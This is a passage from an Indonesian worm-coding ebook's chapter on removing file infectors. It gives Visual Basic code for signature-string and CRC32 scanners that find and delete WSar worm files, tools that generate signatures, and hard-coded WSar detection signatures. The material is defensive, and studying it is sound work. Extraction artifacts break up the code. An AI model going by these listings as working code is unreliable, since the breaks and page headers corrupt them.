WormStr(2) = "BE00F600100114FC13EB" 'WSar.3 WormStr(3) = "4834732E17BAE6504649" 'WSar.4 WormStr(4) = "40545DD72C9B70B030C0" 'WSar.5 WormStr(5) = "FB4D6A259F042E360C3B" 'WSar.6 WormStr(6) = "4E0CB39C40B6BF01DC2B" 'WSar.7 WormStr(7) = "F2927FE40253504F4F4C" 'WSar.8 WormStr(8) = "032136BB7F762402084D" 'WSar.9 lstSignature.Clear() Dim i As Integer For i = 0 To 8 lstSignature.AddItem(WormStr(i)) Next i StopIt = False lblWait.Visible = True FindFiles(txtPath.Text, "*.exe", lstSignature, 50000, lstFound, _ lblStatus) If lstFound.ListCount > 1 Then xmount = " files." Else xmount = " file." End If MsgBox("Scan progress finished, found " & lstFound.ListCount & _ xmount, vbInformation) UpdateStatus() lstFound.Enabled = TrueProcError: cmdScan.Enabled = True lblWait.Visible = FalseEnd Sub

Berikut penjelasan tentang kode program:

Procedure Form_Load memiliki tugas sederhana, yaitu mengatur cap-tion pada lblStatus menjadi "#Infector Removal - String Scanner# Waiting for instruction..."

Procedure cmdScan_Click membuat array WormStr sebanyak 9 data, mengeksekusi function FindFiles dengan mengisi variabel MyPath dengan data pada txtPath, mengisi variabel MyWild dengan string "*.exe", mengisi variabel Signature dengan lstSignature, mengisi variabel SizeLimit dengan 50000, mengatur variabel MyList dengan lstFound, mengatur variabel MyLabel dengan lblStatus.

Module mdlFindFile berisi function FindFiles, function ini memiliki sintaksis sebagai berikut:

FindFiles MyPath, MyWild, Signature, SizeLimit, MyList, MyLabel

Page 89: Computer Worm 2-eBook

78Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Function FindFiles melakukan pencarian pada drive dan direktori yang ada pada variabel MyPath. Pencarian dilakukan untuk nama file yang ada pada variabel MyWild.

Jika file yang dicari sehubungan dengan variabel MyWild tadi ditemu-kan maka file-file yang ditemukan tersebut dicocokan dengan setiap string yang ada pada variabel Signature.

Jika file yang ditemukan ternyata memiliki salah satu string Signature maka file tersebut ditambahkan pada ListBox pada variabel MyList, namun sebelumnya setiap file yang diperiksa hanya dilewatkan jika berukuran lebih besar dari nilai yang terkandung pada variabel SizeLimit dan setiap file yang diperiksa ditampilkan pada Label yang berkaitan dengan variabel MyLabel.

2.2.3 SIGNATUREPada String Scanning, data signature berupa sekumpulan string yang ada pada isi file. Untuk mendapatkan string tersebut bisa dengan mem-buka file infector tersebut dengan menggunakan aplikasi hex editor.

Berikut ini adalah contoh pengambilan sampel string dari WSar.1 yang sudah terkompresi:

Page 90: Computer Worm 2-eBook

79Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

String yang diambil adalah sebanyak 10 karakter pada byte 2464 hingga 2473 yaitu "_8_RÉ—°É_ " dengan nilai hex "5F 38 5F 52 C9 97 B0 C9 5F A0".

Kualitas string berada pada perulangan karakter dan jumlah karakter, semakin sering suatu karakter diulang dan semakin sedikit karakter yang digunakan maka semakin rendah kualitas string tersebut untuk dijadikan data signature, sebaliknya semakin sedikit karakter yang diulang dan semakin banyak karakter yang digunakan maka semakin baiklah kualitas string tersebut.

Penulis menggunakan kode hex dalam penulisan kode program karena lebih mudah diketik daripada harus mengetik karakter yang notabene tidak terdapat pada tombol keyboard namun pada akhirnya kode hex tersebut akan diterjemahkan terlebih dahulu sebelum digunakan.

Untuk memudahkan proses mendapatkan string signature, maka beri-kut ini penulis sertakan sebuah contoh program generator. Perlu Anda ketahui bahwa trik pembuatan program generator ini juga biasanya digunakan para worm writer untuk membuat suatu worm generator yang menggunakan bahasa pemrograman berbasiskan script text, seperti VBS dan batch file.

Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'CheckStrg’, dan Application Title menjadi 'String Generator’, Tambahkan 3 buah object Label, 2 buah object CommandButton, 6 buah object TextBox, 1 buah object CheckBox, 1 buah object DirListBox, 1 buah object DriveListBox dan 1 buah object FileListBox, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:

Properti object Form1

Jenis Nilai KeteranganName frmCheck Mengatur nama Form menjadi

frmCheck

BorderStyle Fixed Single Mengatur jenis border form menjadi tetap

Caption String Generator Mengatur titel yang akan ditampil-kan pada form

Page 91: Computer Worm 2-eBook

80Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Height 6375 Mengatur tinggi form

Icon (Icon) Pilih icon yang akan digunakan pada form, frmCheck menggunakan icon sun.ico

MaxButton False Tidak menampilkan tombol maximize

MinButton False Tidak menampilkan tombol minimize

StartUpPosition 2 - Center Screen Menempatkan jendela form ditengah layar pada saat load.

Width 4770 Mengatur lebar form

Properti object Label1

Jenis Nilai KeteranganCaption ASCII Mengatur caption Label dari Label1 menjadi ASCII

Height 255 Mengatur tinggi Label

Left 120 Mengatur jarak Label dari kiri

Top 1560 Mengatur jarak Label dari atas

Width 495 Mengatur lebar Label

Properti object Label2

Jenis Nilai KeteranganCaption HEX Mengatur caption Label menjadi HEX

Height 255 Mengatur tinggi Label

Left 120 Mengatur jarak Label dari kiri

Top 1920 Mengatur jarak Label dari atas

Width 495 Mengatur lebar Label

Page 92: Computer Worm 2-eBook

81Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

Properti object Label3

Jenis Nilai KeteranganName lblWait Mengatur nama Label menjadi lblWait

BackStyle Transparent Mengatur jenis latar belakang menjadi transparan

Caption Please Wait ... Mengatur caption Label menjadi Please Wait ...

Font Font: MS San SerifFont Style: BoldSize: 12

Mengatur jenis huruf MS San Serif, model huruf tebal dan ukuran huruf 12

ForeColor &H000080FF& Mengatur warna huruf menjadi jingga

Height 375 Mengatur tinggi Label

Left 120 Mengatur jarak Label dari kiri

Top 5520 Mengatur jarak Label dari atas

Width 1935 Mengatur lebar Label

Properti object Command1

Jenis Nilai KeteranganName cmdCopy Mengatur nama CommandButton menjadi

cmdCopy

Caption Copy Script Mengatur caption CommandButton menjadi Copy Script

Height 375 Mengatur tinggi CommandButton

Left 2400 Mengatur jarak CommandButton dari kiri

Top 5520 Mengatur jarak CommandButton dari atas

Width 1095 Mengatur lebar CommandButton

Page 93: Computer Worm 2-eBook

82Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Properti object Command2

Jenis Nilai KeteranganName cmdGen Mengatur nama CommandButton menjadi

cmdGen

Caption Generate Mengatur caption CommandButton menjadi Generate

Enabled False Mengatur mode default menjadi Disabled

Height 375 Mengatur tinggi CommandButton

Left 3480 Mengatur jarak CommandButton dari kiri

Top 5520 Mengatur jarak CommandButton dari atas

Width 1095 Mengatur lebar CommandButton

Properti object Dir1

Jenis Nilai KeteranganHeight 990 Mengatur tinggi DirListBox

Left 120 Mengatur jarak object dari kiri

Top 480 Mengatur jarak object dari atas

Width 2055 Mengatur lebar object

Properti object Drive1

Jenis Nilai KeteranganHeight 315 Mengatur tinggi DriveListBox

Left 120 Mengatur jarak object dari kiri

Top 120 Mengatur jarak object dari atas

Width 2055 Mengatur lebar object

Page 94: Computer Worm 2-eBook

83Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

Properti object File1

Jenis Nilai KeteranganHeight 1395 Mengatur tinggi FileListBox

Pattern *.exe Filter pada file berekstensi "exe"

Left 2280 Mengatur jarak object dari kiri

Top 120 Mengatur jarak object dari atas

Width 2295 Mengatur lebar object

Properti object Text1

Jenis Nilai KeteranganName txtASCII Mengatur nama TextBox menjadi txtASCII

Appearance 0 - Flat Tampilan diatur pada mode datar

Height 285 Mengatur tinggi TextBox

Left 600 Mengatur jarak TextBox dari kiri

Text Dikosongkan

Top 1560 Mengatur jarak TextBox dari atas

Width 3975 Mengatur lebar TextBox

Properti object Text2

Jenis Nilai KeteranganName txtHEX Mengatur nama TextBox menjadi txtHEX

Appearance 0 - Flat Tampilan diatur pada mode datar

Height 285 Mengatur tinggi TextBox

Left 600 Mengatur jarak TextBox dari kiri

Text Dikosongkan

Top 1920 Mengatur jarak TextBox dari atas

Width 3975 Mengatur lebar TextBox

Page 95: Computer Worm 2-eBook

84Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Properti object Text3

Jenis Nilai KeteranganName txtList Mengtur nama TextBox menjadi

txtList

Height 285 Mengatur tinggi TextBox

Left 3240 Mengatur jarak TextBox dari kiri

Text lstSignature Mengatur Text default dengan lstSignature

ToolTipText List Signature Name Memberi ToolTipText pada object

Top 2280 Mengatur jarak TextBox dari atas

Width 1335 Mengatur lebar TextBox

Properti object Text4

Jenis Nilai KeteranganName txtVal Mengatur nama TextBox menjadi txtVal

Height 285 Mengatur tinggi TextBox

Left 1320 Mengatur jarak TextBox dari kiri

Text 10 Mengatur Text default dengan 10

ToolTipText Maximum Byte Memberi ToolTipText pada object

Top 2280 Mengatur jarak TextBox dari atas

Width 375 Mengatur lebar TextBox

Properti object Text5

Jenis Nilai KeteranganName txtVar Mengatur nama TextBox menjadi txtVar

Height 285 Mengatur tinggi TextBox

Left 1800 Mengatur jarak TextBox dari kiri

Text WormStr Mengatur Text default dengan WormStr

ToolTipText Variable Name Memberi ToolTipText pada object

Top 2280 Mengatur jarak TextBox dari atas

Width 1335 Mengatur lebar TextBox

Page 96: Computer Worm 2-eBook

85Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

Properti object Text6

Jenis Nilai KeteranganName txtScript Mengatur nama TextBox menjadi txtScript

ForeColor &H00FF0000& Mengatur warna huruf menjadi biru

Height 2775 Mengatur tinggi TextBox

Left 120 Mengatur jarak TextBox dari kiri

Locked True Tidak mengijinkan perubahan data text secara manual

MultiLine True Mengijinkan TextBox menggunakan lebih dari 1 baris.

ScrollBars 3 - Both Mengatur mode ScrollBar menjadi horizontal dan vertical

Text Dikosongkan

Top 2640 Mengatur jarak TextBox dari atas

Width 4455 Mengatur lebar TextBox

Properti object Check1

Jenis Nilai KeteranganName chkDes Mengatur nama CheckBox menjadi chkDes

Caption Description Mengatur caption CheckBox menjadi Descrip-tion

Height 255 Mengatur tinggi CheckBox

Left 120 Mengatur jarak CheckBox dari kiri

Top 2280 Mengatur jarak CheckBox dari atas

Value 1 - Checked Mengatur nilai default CheckBox menjadi terseleksi

Width 1575 Mengatur lebar CheckBox

Page 97: Computer Worm 2-eBook

86Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Terakhir, ketik kode program berikut ini pada object frmCheck:

'String Generator by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Sub cmdCopy_Click() Clipboard.Clear() Clipboard.SetText(txtScript)End Sub

Private Sub cmdGen_Click() Dim MyPath As String Dim i As Integer lblWait.Visible = True If File1.ListCount < 1 Then Exit Sub MyPath = Dir1.Path If Right(MyPath, 1) <> "\" Then MyPath = Dir1.Path & "\" End If txtScript.Text = "Dim " & txtVar & "(" & File1.ListCount & _ ") As String" For i = 0 To File1.ListCount - 1 DoEvents() txtScript.Text = txtScript.Text & vbCrLf & txtVar & "(" & i & _ ") = " & Chr(34) & CheckStrg(MyPath & File1.List(i), _ txtVal.Text, True) & Chr(34) If chkDes.Value = Checked Then txtScript.Text = txtScript.Text & " '" & File1.List(i) End If Next txtScript.Text = txtScript.Text & vbCrLf & txtList & ".Clear" txtScript.Text = txtScript.Text & vbCrLf & "Dim i As Integer" txtScript.Text = txtScript.Text & vbCrLf & "For i = 0 to " & _ File1.ListCount - 1 txtScript.Text = txtScript.Text & vbCrLf & txtList & ".AddItem (" _ & txtVar & "(i))" txtScript.Text = txtScript.Text & vbCrLf & "Next i" lblWait.Visible = FalseEnd Sub

Private Sub Command1_Click() MsgBox(CheckStrg(File1.List(0), 10, True))End Sub

Private Sub Dir1_Change() File1.Path = Dir1.Path If File1.ListCount > 0 Then cmdGen.Enabled = True Else cmdGen.Enabled = False End IfEnd Sub

Page 98: Computer Worm 2-eBook

87Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

Private Sub Drive1_Change() Dir1 = Drive1End Sub

Private Sub File1_Click() On Error Resume Next Dim MyPath As String If File1.ListCount < 1 Then Exit Sub MyPath = Dir1.Path If Right(MyPath, 1) <> "\" Then MyPath = Dir1.Path & "\" End If If FileLen(MyPath & File1.FileName) < 2048 + txtVal.Text Then _ Exit Sub txtASCII.Text = CheckStrg(MyPath & File1.FileName, txtVal.Text, _ False) txtHEX.Text = asci2hex(txtASCII.Text)End Sub

Private Sub Form_Load() If File1.ListCount > 0 Then cmdGen.Enabled = TrueEnd Sub

Function RandomChar(ByVal MyPath As String, ByVal nVal As Integer) Dim dtx As String Dim filedata As String Dim rLen, Maks, RandNo As Long Dim Mins As Integer rLen = FileLen(MyPath) Mins = 1024 Maks = rLen - 1024 - txtVal RandNo = Mins + Fix(Rnd * (Maks - Mins + 1))Open MyPath For Binary As #1 filedata = Space$(LOF(1))Get #1, , filedata dtx = Mid(filedata, RandNo, nVal) RandomChar = dtxClose #1End Function

Function asci2hex(ByVal valAscii As String) As String Dim i As Integer For i = 1 To Len(valAscii) asci2hex = asci2hex & Hex(Asc(Mid(valAscii, i, 1))) Next iEnd Function

Private Function CheckStrg(ByVal nFile As String, ByVal nLimit As _Integer, ByVal stat As Boolean) On Error Resume Next Dim valAscii As String Dim valHex As String valAscii = "" valHex = ""

Page 99: Computer Worm 2-eBook

88Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

If FileLen(nFile) < 2048 + nLimit Then Exit FunctionmRep: valAscii = "" valHex = "" Do Until Len(valAscii) = txtVal.Text DoEvents() valAscii = RandomChar(nFile, nLimit) Loop valHex = asci2hex(valAscii) If Len(valHex) <> txtVal.Text * 2 Then GoTo mRep If stat = True Then CheckStrg = valHex Else CheckStrg = valAscii End IfEnd Function

Berikut ini adalah tampilan program String Generator saat dieksekusi.

Page 100: Computer Worm 2-eBook

89Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

2.3 CRC SCANNINGCRC Scanning adalah metode pencarian yang dilakukan dengan melakukan pencocokan nilai CRC pada file terperiksa dengan data CRC yang ada pada signature.

2.3.1 ALGORITMA1. Jika pengguna mengklik tombol Scan maka program melakukan

pemeriksaan terhadap semua file executable pada drive dan direktori yang ditentukan oleh pengguna. Proses scanning dapat sewaktu-waktu dihentikan pengguna dengan mengklik tombol Stop

2. Jika file yang terperiksa memiliki nilai CRC yang sama pada data signature, maka path dan nama file tersebut di tambahkan pada sebuah ListBox

3. Pengguna dapat menghapus file yang ada pada ListBox dengan mengklik ganda nama file tersebut pada ListBox atau menyeleksi file-file yang akan dihapus kemudian mengklik tombol Delete.

2.3.2 PEMROGRAMANTambahkan 2 buah Module dan 1 buah UserControl, untuk menambah UserControl dapat dilakukan dengan cara meng-click Project pada menubar lalu memilih opsi Add User Control. kemudian atur properti untuk masing-masing UserControl dan module sebagai berikut:

Properti UserControl1

Jenis Nilai KeteranganName CRC Mengatur nama UserControl menjadi

CRC

Height 360 Mengatur tinggi UserControl

InvisibleAtRuntime True Tidak terlihat saat run-time

Width 480 Mengatur lebar UserControl

Page 101: Computer Worm 2-eBook

90Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Properti Module1

Jenis Nilai KeteranganName mdlBrowseFolder Mengatur nama module menjadi mdl-

BrowseFolder

Properti Module2

Jenis Nilai KeteranganName mdlFindFile Mengatur nama module menjadi mdlFindFile

Kemudian ketik kode program berikut ini pada UserControl CRC:

Option Explicit OnPrivate crcTable(0 To 255) As Long

Private Sub UserControl_Initialize() BuildTable()End Sub

Private Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As _ Long, Optional ByVal lcrc As Long = 0) As Long Dim lCurPos As Long Dim lTemp As Long If lLen = 0 Then Exit Function lTemp = lcrc Xor &HFFFFFFFF For lCurPos = 0 To lLen lTemp = (((lTemp And &HFFFFFF00) \ &H100) And &HFFFFFF) _ Xor (crcTable((lTemp And 255) Xor bArrayIn(lCurPos))) Next lCurPos CRC32 = lTemp Xor &HFFFFFFFF DoEvents()End Function

Private Function BuildTable() As Boolean Dim i As Long, x As Long, CRC As Long Const Limit = &HEDB88320 For i = 0 To 255 CRC = i For x = 0 To 7 If CRC And 1 Then CRC = (((CRC And &HFFFFFFFE) \ 2) And &H7FFFFFFF) Xor _ Limit Else CRC = ((CRC And &HFFFFFFFE) \ 2) And &H7FFFFFFF End If Next x crcTable(i) = CRC Next i DoEvents()End Function

Page 102: Computer Worm 2-eBook

91Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

Public Function FromFile(ByVal SPathFile As String) As String Dim b() As Byte, lcrc As Long On Error Resume Next If Len(SPathFile) = 0 Then Exit FunctionOpen SPathFile For Binary Access Read As #1 ReDim b(FileLen(SPathFile) - 1)Get #1, , bClose #1 lcrc = UBound(b()) lcrc = CRC32(b(), lcrc) FromFile = Hex(lcrc) DoEvents()End Function

Setelah kode program untuk UserControl CRC selesai diketik, tutup jendela kode editor UserControl CRC. Secara otomatis sebuah object ditambahkan pada toolbox dengan nama CRC, kemudian tambahkan 1 object CRC pada bidang Form dengan mengklik ganda icon object CRC tersebut pada toolbox.

Untuk module mdlBrowseFolder Anda bisa menggunakan module yang sama pada WSar Infector Removal (Name), kemudian ketik kode program berikut ini pada module mdlFindFile:

Option Explicit OnGlobal StopIt As Boolean

Public Function FindFiles(ByVal MyPath As String, ByVal MyWild As _String, ByVal Signature As ListBox, ByVal SizeLimit As Long, ByVal _MyCRC As CRC, ByVal MyList As ListBox, ByVal MyLabel As Label) Dim filename As String Dim DirName As String Dim dirNames() As String Dim nDir As Integer Dim i As Integer On Error GoTo FileERR If StopIt = True Then GoTo FileERR If Len(MyPath) = 0 Then Exit Function If Right(MyPath, 1) <> "\" Then MyPath = MyPath & "\" nDir = 0 ReDim dirNames(nDir) DirName = Dir(MyPath, vbDirectory Or vbHidden) Do While Len(DirName) > 0 If (DirName <> ".") And (DirName <> "..") Then If GetAttr(MyPath & DirName) = vbDirectory Or vbHidden Or _ vbReadOnly Or vbSystem Then dirNames(nDir) = DirName nDir = nDir + 1 ReDim Preserve dirNames(nDir) End If End If DirName = Dir() Loop

Page 103: Computer Worm 2-eBook

92Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

filename = Dir(MyPath & MyWild, vbNormal Or vbHidden Or _ vbReadOnly) Do While Len(filename) <> 0 If StopIt = True Then GoTo FileERR FindFiles = FindFiles + FileLen(MyPath & filename) MyLabel.Caption = MyPath & filename DoEvents() If FileLen(MyPath & filename) > SizeLimit Then GoTo limitz For i = 0 To Signature.ListCount - 1 If MyCRC.FromFile(MyPath & filename) = Signature.List(i) Then MyList.AddItem(MyPath & filename) End If Next ilimitz: filename = Dir() Loop If nDir > 0 Then For i = 0 To nDir - 1 FindFiles = FindFiles + FindFiles(MyPath & dirNames(i) & "\", _ MyWild, Signature, SizeLimit, MyCRC, MyList, MyLabel) Next i End IfFileERR:End Function

Ketik kode program berikut ini pada object frmRemoval:

'WSar Infector Removal (CRC32) by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Sub Form_Load() lblStatus.Caption = "#Infector Removal - CRC Scanner# Waitin" & _ "g for instruction..."End Sub

Private Sub cmdBrowse_Click() Dim brwVal As String brwVal = BrowseForFolder("Select Drive And Directory:") If Len(brwVal) > 0 Then txtPath.Text = brwVal End IfEnd Sub

Private Sub cmdDelete_Click() On Error Resume Next Dim i As Integer If lstFound.SelCount = 0 Then MsgBox("No file selected", vbCritical) Else Do Until lstFound.SelCount = 0

Page 104: Computer Worm 2-eBook

93Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

For i = 0 To lstFound.ListCount If lstFound.Selected(i) = True Then SetAttr(lstFound.List(i), vbNormal) Kill(lstFound.List(i)) lstFound.RemoveItem(i) End If Next Loop End If UpdateStatus()End Sub

Private Sub cmdStop_Click() StopIt = TrueEnd Sub

Private Sub Form_Unload(ByVal Cancel As Integer) StopIt = False EndEnd Sub

Private Sub lstFound_Click() lblStatus.Caption = lstFound.TextEnd Sub

Private Sub lstFound_DblClick() On Error Resume Next cmdDelete_Click()End Sub

Private Sub UpdateStatus() lblStatus.Caption = "Total worm found: " & lstFound.ListCountEnd Sub

Private Sub cmdScan_Click() On Error Resume Next Dim xmount As String cmdScan.Enabled = False lstFound.Enabled = False If Mid(txtPath.Text, 2, 2) <> ":\" Then MsgBox("Path file not found", vbCritical) GoTo ProcError End If lstFound.Clear() Dim WormCRC(8) As String WormCRC(0) = "9C6891DD" 'WSar.1 WormCRC(1) = "911CF017" 'WSar.2 WormCRC(2) = "6B9ADCB3" 'WSar.3 WormCRC(3) = "1845C0A1" 'WSar.4 WormCRC(4) = "7F4F764A" 'WSar.5 WormCRC(5) = "F51FEA46" 'WSar.6 WormCRC(6) = "271DF9C" 'WSar.7 WormCRC(7) = "DA785663" 'WSar.9 lstSignature.Clear() Dim i As Integer

Page 105: Computer Worm 2-eBook

94Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

For i = 0 To 7 lstSignature.AddItem(WormCRC(i)) Next i StopIt = False lblWait.Visible = True FindFiles(txtPath.Text, "*.exe", lstSignature, 50000, CRC1, _ lstFound, lblStatus) If lstFound.ListCount > 1 Then xmount = " files." Else xmount = " file." End If MsgBox("Scan progress finished, found " & lstFound.ListCount & _ xmount, vbInformation) UpdateStatus() lstFound.Enabled = TrueProcError: cmdScan.Enabled = True lblWait.Visible = FalseEnd Sub

Berikut penjelasan tentang kode program:

Procedure Form_Load memiliki tugas sederhana, yaitu mengatur cap-tion pada lblStatus menjadi "#Infector Removal - CRC Scanner# Waiting for instruction..."

Procedure cmdScan_Click membuat array WormCRC sebanyak 8 data, mengeksekusi function FindFiles dengan mengisi variabel MyPath den-gan data pada txtPath, mengisi variabel MyWild dengan string "*.exe", mengisi variabel Signature dengan lstSignature, mengisi variabel Size-Limit dengan 50000, mengatur variabel MyCRC dengan UserControl CRC1, mengatur variabel MyList dengan lstFound, mengatur variabel MyLabel dengan lblStatus.

UserControl CRC berisi function yang akan memberikan nilai CRC32 dari file yang telah ditentukan.

Module mdlFindFile berisi function FindFiles, function ini memiliki sintaksis sebagai berikut:

FindFiles MyPath, MyWild, Signature, SizeLimit, MyCRC, MyList, MyLabel

Function FindFiles melakukan pencarian pada drive dan direktori yang ada pada variabel MyPath. Pencarian dilakukan untuk nama file yang ada pada variabel MyWild. Jika file yang dicari sehubungan dengan variabel MyWild tadi ditemukan maka file-file yang ditemukan tersebut dicocokan dengan setiap nilai CRC yang ada pada variabel signature.

Page 106: Computer Worm 2-eBook

95Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

Jika file yang ditemukan ternyata memiliki salah satu dari nilai sig-nature maka file tersebut ditambahkan pada ListBox pada variabel MyList, namun sebelumnya setiap file yang diperiksa hanya dilewatkan jika berukuran lebih besar dari nilai yang terkandung pada variabel SizeLimit dan setiap file yang diperiksa ditampilkan pada Label yang berkaitan dengan variabel MyLabel.

2.3.3 SIGNATURECRC adalah singkatan dari Cyclic Redundancy Checksum yang meru-pakan algoritma teroptimasi dan suatu metode yang powerfull guna memeriksa sejumlah byte apakah termodifikasi atau tidak.

Algoritma ini melakukan pemeriksaan pada isi file secara keseluruhan dan membuat angka 32 bit yang mewakili isi file tersebut. Perubahan kecil pada isi file mengakibatkan perubahan besar pada hasil pemerik-saan dan sangat kecil kemungkinan terjadinya dua file yang berbeda memiliki hasil pemeriksaan CRC yang sama (kemungkinan terjadi ± 1 banding 1 billion).

CRC Scanning menggunakan metode ini untuk membandingkan nilai CRC pada file terperiksa dengan nilai CRC yang ada pada signature. Untuk mendapatkan nilai CRC suatu file mau tidak mau kita harus menggunakan program pembantu, karena algoritma yang digunakan cukup rumit, memerlukan waktu, tenaga dan konsentrasi yang lebih jika ingin mendapatkan nilai CRC secara manual.

Berikut ini penulis kembali menyertakan sebuah program generator untuk mempermudah mendapatkan nilai CRC.

Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'CheckCRC’, dan Application Title menjadi 'CRC Generator’. Tambahkan 2 buah object Label, 2 buah object CommandButton, 4 buah object TextBox, 1 buah object CheckBox, 1 buah object DirList-Box, 1 buah object DriveListBox, 1 buah object FileListBox dan 1 buah UserControl.

Page 107: Computer Worm 2-eBook

96Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Atur properti untuk masing-masing object tersebut sebagai berikut:

Properti object Form1

Jenis Nilai KeteranganName frmCheck Mengatur nama Form menjadi

frmCheck

BorderStyle Fixed Single Mengatur jenis border form menjadi tetap

Caption CRC Generator Mengatur titel yang akan ditampilkan pada form

Height 6480 Mengatur tinggi form

Icon (Icon) Pilih icon yang akan digunakan pada form, frmCheck meng-gunakan icon sun.ico

MaxButton False Tidak menampilkan tombol maximize

MinButton False Tidak menampilkan tombol minimize

StartUpPosition 2 - Center Screen Menempatkan jendela form ditengah layar pada saat load.

Width 4785 Mengatur lebar form

Properti object Label1

Jenis Nilai KeteranganCaption CRC32: Mengatur caption Label menjadi CRC32

Height 255 Mengatur tinggi Label

Left 2280 Mengatur jarak Label dari kiri

Top 120 Mengatur jarak Label dari atas

Width 615 Mengatur lebar Label

Page 108: Computer Worm 2-eBook

97Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

Properti object Label2

Jenis Nilai KeteranganName lblWait Mengatur nama Label menjadi

lblWait

BackStyle Transparent Mengatur jenis latar belakang menjadi transparan

Caption Please Wait ... Mengatur caption Label menjadi Please Wait ...

Font Font: MS San SerifFont Style: BoldSize: 12

Mengatur jenis huruf MS San Serif, model huruf tebal dan ukuran huruf 12

ForeColor &H000080FF& Mengatur warna huruf menjadi jingga

Height 375 Mengatur tinggi Label

Left 120 Mengatur jarak Label dari kiri

Top 5520 Mengatur jarak Label dari atas

Width 1935 Mengatur lebar Label

Properti object Command1

Jenis Nilai KeteranganName cmdCopy Mengatur nama CommandButton menjadi

cmdCopy

Caption Copy Script Mengatur caption CommandButton menjadi Copy Script

Height 375 Mengatur tinggi CommandButton

Left 2400 Mengatur jarak CommandButton dari kiri

Top 5520 Mengatur jarak CommandButton dari atas

Width 1095 Mengatur lebar CommandButton

Page 109: Computer Worm 2-eBook

98Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

Properti object Command2

Jenis Nilai KeteranganName cmdGen Mengatur nama CommandButton menjadi cmdGen

Caption Generate Mengatur caption CommandButton menjadi Gener-ate

Enabled False Mengatur mode default menjadi Disabled

Height 375 Mengatur tinggi CommandButton

Left 3480 Mengatur jarak CommandButton dari kiri

Top 5520 Mengatur jarak CommandButton dari atas

Width 1095 Mengatur lebar CommandButton

Properti object Dir1

Jenis Nilai KeteranganHeight 1665 Mengatur tinggi DirListBox

Left 120 Mengatur jarak object dari kiri

Top 480 Mengatur jarak object dari atas

Width 2055 Mengatur lebar object

Properti object Drive1

Jenis Nilai KeteranganHeight 315 Mengatur tinggi DriveListBox

Left 120 Mengatur jarak object dari kiri

Top 120 Mengatur jarak object dari atas

Width 2055 Mengatur lebar object

Properti object File1

Jenis Nilai KeteranganHeight 1590 Mengatur tinggi FileListBox

Pattern *.exe Filter pada file berekstensi "exe"

Left 2280 Mengatur jarak object dari kiri

Top 480 Mengatur jarak object dari atas

Width 2295 Mengatur lebar object

Page 110: Computer Worm 2-eBook

99Jasakom

Computer Worm 2 - Secret of Undeground Coding : Uncensored

Bab

2. I

nfec

tor F

ile R

emov

al

Properti object Text1

Jenis Nilai KeteranganName txtCRC Mengatur nama TextBox menjadi txtCRC

Appearance 0 - Flat Tampilan diatur pada mode datar

Height 285 Mengatur tinggi TextBox

Left 3000 Mengatur jarak TextBox dari kiri

Text Dikosongkan

Top 120 Mengatur jarak TextBox dari atas

Width 1575 Mengatur lebar TextBox

Properti object Text2

Jenis Nilai KeteranganName txtList Mengatur nama TextBox menjadi

txtList

Height 285 Mengatur tinggi TextBox

Left 3240 Mengatur jarak TextBox dari kiri

Text lstSignature Mengatur Text default dengan lstSig-nature

ToolTipText List Signature Name Memberi ToolTipText pada object

Top 2280 Mengatur jarak TextBox dari atas

Width 1335 Mengatur lebar TextBox

Properti object Text3

Jenis Nilai KeteranganName txtScript Mengatur nama TextBox menjadi txtScript

ForeColor &H00FF0000& Mengatur warna huruf menjadi biru

Height 2775 Mengatur tinggi TextBox

Left 120 Mengatur jarak TextBox dari kiri

Locked True Tidak mengijinkan perubahan data text secara manual

MultiLine True Mengijinkan TextBox menggunakan lebih dari 1 baris.

Page 111: Computer Worm 2-eBook

100Jasakom

Computer Worm 2 - Secret of Underground Coding : Uncensored

Bab 2. Infector File R

emoval

ScrollBars 3 - Both Mengatur mode ScrollBar menjadi hori-zontal dan vertical

Text Dikosongkan

Top 2640 Mengatur jarak TextBox dari atas

Width 4455 Mengatur lebar TextBox

Properti object Text4

Jenis Nilai KeteranganName txtVar Mengatur nama TextBox menjadi txtVar

Height 285 Mengatur tinggi TextBox

Left 1800 Mengatur jarak TextBox dari kiri

Text WormCRC Mengatur Text default dengan Worm-CRC

